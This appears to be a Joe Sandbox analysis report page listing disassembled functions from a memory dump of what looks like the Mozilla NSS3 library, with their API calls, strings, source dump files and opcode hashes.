Function 6CE53FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CE54014

Part of subcall function 6CE539F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE55E6F,?), ref: 6CE53A08
Part of subcall function 6CE539F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE55E6F), ref: 6CE53A1C
Part of subcall function 6CE539F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE53A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CE54038

Part of subcall function 6CEA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE487ED,00000800,6CE3EF74,00000000), ref: 6CEA1000
Part of subcall function 6CEA0FF0: PR_NewLock.NSS3(?,00000800,6CE3EF74,00000000), ref: 6CEA1016
Part of subcall function 6CEA0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE487ED,00000008,?,00000800,6CE3EF74,00000000), ref: 6CEA102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CE5404D

Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA10F3
Part of subcall function 6CEA10C0: EnterCriticalSection.KERNEL32(?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA110C
Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1141
Part of subcall function 6CEA10C0: PR_Unlock.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1182
Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CF6A0F4), ref: 6CE540C2

Part of subcall function 6CE9F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CE9F0C8
Part of subcall function 6CE9F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE9F122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CE5409A

Part of subcall function 6CE9BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE4E708,00000000,00000000,00000004,00000000), ref: 6CE9BE6A
Part of subcall function 6CE9BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE504DC,?), ref: 6CE9BE7E
Part of subcall function 6CE9BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CE9BEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE540DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE540F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE54108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CE5411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CE54137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CE54150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6CF6A1C8), ref: 6CE5417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CE54194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE541A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE541B2
PK11_DestroyObject.NSS3(?,?), ref: 6CE541D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE541FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CF6A1A8), ref: 6CE5422D

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: a63a6bbb2581d3a89352142d20957845b4f4a648785fa948776df70dad7e130e
Instruction ID: 4d092d98d11b72ac1aaec156c9f1ca029273480bf95e78b25849086577e4ef0c
Opcode Fuzzy Hash: a63a6bbb2581d3a89352142d20957845b4f4a648785fa948776df70dad7e130e
Instruction Fuzzy Hash: 7551F9B6A003006BF7109A269D41B6776FC9F5524CFB4051EF95AC6F42FB32D53482A2

Function 6CE98E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CE98E01,00000000,6CE99060,6CFA0B64), ref: 6CE98E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CE98E01,00000000,6CE99060,6CFA0B64), ref: 6CE98E9E
PORT_ArenaAlloc_Util.NSS3(6CFA0B64,00000001,?,?,?,?,6CE98E01,00000000,6CE99060,6CFA0B64), ref: 6CE98EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CE98E01,00000000,6CE99060,6CFA0B64), ref: 6CE98EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CE98E01,00000000,6CE99060,6CFA0B64), ref: 6CE98ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CE98E01,00000000,6CE99060,6CFA0B64), ref: 6CE98EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CE98E01), ref: 6CE98EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CFA0B64,6CFA0B64), ref: 6CE98F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CE98F3F

Part of subcall function 6CE9A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CE9A421,00000000,00000000,6CE99826), ref: 6CE9A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE9904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CE98E76

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 770dcd78dc1d44fab330803df85b46ad38922a78d16fab9b8ec613abc08b0e71
Instruction ID: d5f1836a30b5144907ac98f8f53c74134086e5b2c6651fd6cb2dd40217336610
Opcode Fuzzy Hash: 770dcd78dc1d44fab330803df85b46ad38922a78d16fab9b8ec613abc08b0e71
Instruction Fuzzy Hash: A861B2B5D002099FDB10CF56DC80AAFBBB5FF84358F244129DD29A7710E736A915CBA1

Function 6CE48E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE48E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE48E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE48EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CF718D0,?), ref: 6CE48F03
PR_CallOnce.NSS3(6CFA2AA4,6CEA12D0), ref: 6CE48F19
PL_FreeArenaPool.NSS3(?), ref: 6CE48F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE48F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE48F65
PL_FinishArenaPool.NSS3(?), ref: 6CE48FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CE48FFE
PR_CallOnce.NSS3(6CFA2AA4,6CEA12D0), ref: 6CE49012
PL_FreeArenaPool.NSS3(?), ref: 6CE49024
PL_FinishArenaPool.NSS3(?), ref: 6CE4902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CE4903E

Strings

security, xrefs: 6CE48EE7

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 57b51b9e2bcb6e7e9e59dc418d00339e17c821e11445c69c6ac3be878a4d629d
Instruction ID: 337b8c9c1af0c93691588536048d9c76ea866ec7a29741ed5e77d0a153cc706c
Opcode Fuzzy Hash: 57b51b9e2bcb6e7e9e59dc418d00339e17c821e11445c69c6ac3be878a4d629d
Instruction Fuzzy Hash: 87515D71608200AFD7209B99EC41FAB77F8AB8674CF64442EF955DBB40D731D80987A3

Function 6CE74E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CE74E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE74EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE74EC7

Part of subcall function 6CF5D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF5D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE74EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CE74F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE74F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CE74F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CE74F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CE74F68

Strings

hSession = 0x%x, xrefs: 6CE74EA2, 6CE74EB2
(CK_INVALID_HANDLE), xrefs: 6CE74EC0, 6CE74F13
pTemplate = 0x%p, xrefs: 6CE74F4A
hObject = 0x%x, xrefs: 6CE74EF5, 6CE74F05
ulCount = %d, xrefs: 6CE74F63
C_GetAttributeValue, xrefs: 6CE74E7E

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: d3f88c3cf7cfba3dc0430e0652a738b79b45a403432897ee2bb6bc2d7847825f
Instruction ID: 7026538a03c3f57e9e9befea257f0576518c4fc549f881f434628ed4a72d8477
Opcode Fuzzy Hash: d3f88c3cf7cfba3dc0430e0652a738b79b45a403432897ee2bb6bc2d7847825f
Instruction Fuzzy Hash: 45411171B01104EBDB109B91ED48F9EB7B5EB4231DF558429F9085BB11DB32AD48CFA1

Function 6CE74CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CE74CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE74D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE74D37

Part of subcall function 6CF5D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF5D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE74D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CE74D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE74D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CE74DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CE74DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CE74E20

Strings

hSession = 0x%x, xrefs: 6CE74D12, 6CE74D22
(CK_INVALID_HANDLE), xrefs: 6CE74D30, 6CE74D83
pulSize = 0x%p, xrefs: 6CE74DB7
hObject = 0x%x, xrefs: 6CE74D65, 6CE74D75
*pulSize = 0x%x, xrefs: 6CE74E1B
C_GetObjectSize, xrefs: 6CE74CEE

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 289b3aaf27073aea3b4ee9c6cc1429d25f4394e275fcc653b6c54092f1f0aa43
Instruction ID: 33febbefb4d08b62a8a7ed608fd130c97ab16fbf599875fbec5b5a2beb71f0f7
Opcode Fuzzy Hash: 289b3aaf27073aea3b4ee9c6cc1429d25f4394e275fcc653b6c54092f1f0aa43
Instruction Fuzzy Hash: 24412671B00104EFDB509B50EE88B6E77B5EB4230DF55442AFA086BB11DB329C58CF62

Function 6CE77C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6CE77CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE77CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE77CF3

Part of subcall function 6CF5D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF5D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE77D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CE77D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CE77D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CE77D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CE77D77

Strings

hSession = 0x%x, xrefs: 6CE77CCE, 6CE77CDE
pData = 0x%p, xrefs: 6CE77D25
(CK_INVALID_HANDLE), xrefs: 6CE77CEC
C_Verify, xrefs: 6CE77CB1
pSignature = 0x%p, xrefs: 6CE77D59
ulDataLen = %d, xrefs: 6CE77D40
ulSignatureLen = %d, xrefs: 6CE77D72

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: 830fde77b986c1c298d918f00929e827ffdf1a8967c68e58376021c6c39146d3
Instruction ID: cc1c911aa4771c9e4d919ee9329b0af8bfa179937247599d22a11f4e8b649e1f
Opcode Fuzzy Hash: 830fde77b986c1c298d918f00929e827ffdf1a8967c68e58376021c6c39146d3
Instruction Fuzzy Hash: 1831D271B01140EFDB119BA5EE48FAE7BB1EB4230CF594428EA0C57B11DB329858CBA1

Function 6CE72F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CE72F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE72F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE72F63

Part of subcall function 6CF5D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF5D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE72F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CE72F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CE72FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CE72FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CE72FE7

Strings

hSession = 0x%x, xrefs: 6CE72F3E, 6CE72F4E
(CK_INVALID_HANDLE), xrefs: 6CE72F5C
pNewPin = 0x%p, xrefs: 6CE72FC9
pOldPin = 0x%p, xrefs: 6CE72F95
C_SetPIN, xrefs: 6CE72F21
ulOldLen = %d, xrefs: 6CE72FB0
ulNewLen = %d, xrefs: 6CE72FE2

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: a5871c0f5eb31d70d44b0e8869fc522f99327218117434d0b631aceaeb075d3b
Instruction ID: 55c44494297827e5d7c4411b8896de1e8b04d46a7044a86e4b5744d0c4232b02
Opcode Fuzzy Hash: a5871c0f5eb31d70d44b0e8869fc522f99327218117434d0b631aceaeb075d3b
Instruction Fuzzy Hash: 83310272F01140EBCB508F91ED4DF4EBBB1EB5630DF994018E908A7B15DB32A858CBA1

Function 6CF0CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CF0CC7B), ref: 6CF0CD7A

Part of subcall function 6CF0CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CE7C1A8,?), ref: 6CF0CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF0CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF0CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CF0CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF0CD8E

Part of subcall function 6CE305C0: PR_EnterMonitor.NSS3 ref: 6CE305D1
Part of subcall function 6CE305C0: PR_ExitMonitor.NSS3 ref: 6CE305EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CF0CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF0CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF0CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF0CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CF0CE48

Strings

getnameinfo, xrefs: 6CF0CDB2, 6CF0CE23
ws2_32.dll, xrefs: 6CF0CD75
getaddrinfo, xrefs: 6CF0CD88, 6CF0CDF9
wship6.dll, xrefs: 6CF0CDE3
freeaddrinfo, xrefs: 6CF0CD9F, 6CF0CE10

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 725a898b58bf046b86168a928a3bb37f25fe1240e7a2e6ab417b54f43fc92938
Instruction ID: 6ed951abf0b0d1f5b9cef05e965d39614445518df1799a4291a87e18e2893c08
Opcode Fuzzy Hash: 725a898b58bf046b86168a928a3bb37f25fe1240e7a2e6ab417b54f43fc92938
Instruction Fuzzy Hash: B111E4A6F13121A6DB50ABB13C10B9F38785B0354CF285939E809D2F81FB21D909C2F3

Function 6CF51C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CF513BC,?,?,?,6CF51193), ref: 6CF51C6B
PR_NewLock.NSS3(?,6CF51193), ref: 6CF51C7E

Part of subcall function 6CF098D0: calloc.MOZGLUE(00000001,00000084,6CE30936,00000001,?,6CE3102C), ref: 6CF098E5

PR_NewCondVar.NSS3(00000000,?,6CF51193), ref: 6CF51C91

Part of subcall function 6CE2BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE321BC), ref: 6CE2BB8C

PR_NewCondVar.NSS3(00000000,?,?,6CF51193), ref: 6CF51CA7

Part of subcall function 6CE2BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE2BBEB
Part of subcall function 6CE2BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CE2BBFB
Part of subcall function 6CE2BB80: GetLastError.KERNEL32 ref: 6CE2BC03
Part of subcall function 6CE2BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CE2BC19
Part of subcall function 6CE2BB80: free.MOZGLUE(00000000), ref: 6CE2BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CF51193), ref: 6CF51CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CF51193), ref: 6CF51CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CF51193), ref: 6CF51CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CF51193), ref: 6CF51D1A

Part of subcall function 6CF09BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE31A48), ref: 6CF09BB3
Part of subcall function 6CF09BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE31A48), ref: 6CF09BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CF51193), ref: 6CF51D3D

Part of subcall function 6CEEDD70: TlsGetValue.KERNEL32 ref: 6CEEDD8C
Part of subcall function 6CEEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEEDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CF51193), ref: 6CF51D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CF51193), ref: 6CF51D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CF51193), ref: 6CF51D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CF51193), ref: 6CF51D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CF51193), ref: 6CF51D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CF51193), ref: 6CF51D93
PR_DestroyLock.NSS3(00000000,?,?,6CF51193), ref: 6CF51D9F
free.MOZGLUE(00000000,?,6CF51193), ref: 6CF51DA8

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 2f47c39e6b13f8f74c5b5d70bcae421ab911d0d3f6d0475a583996846c903912
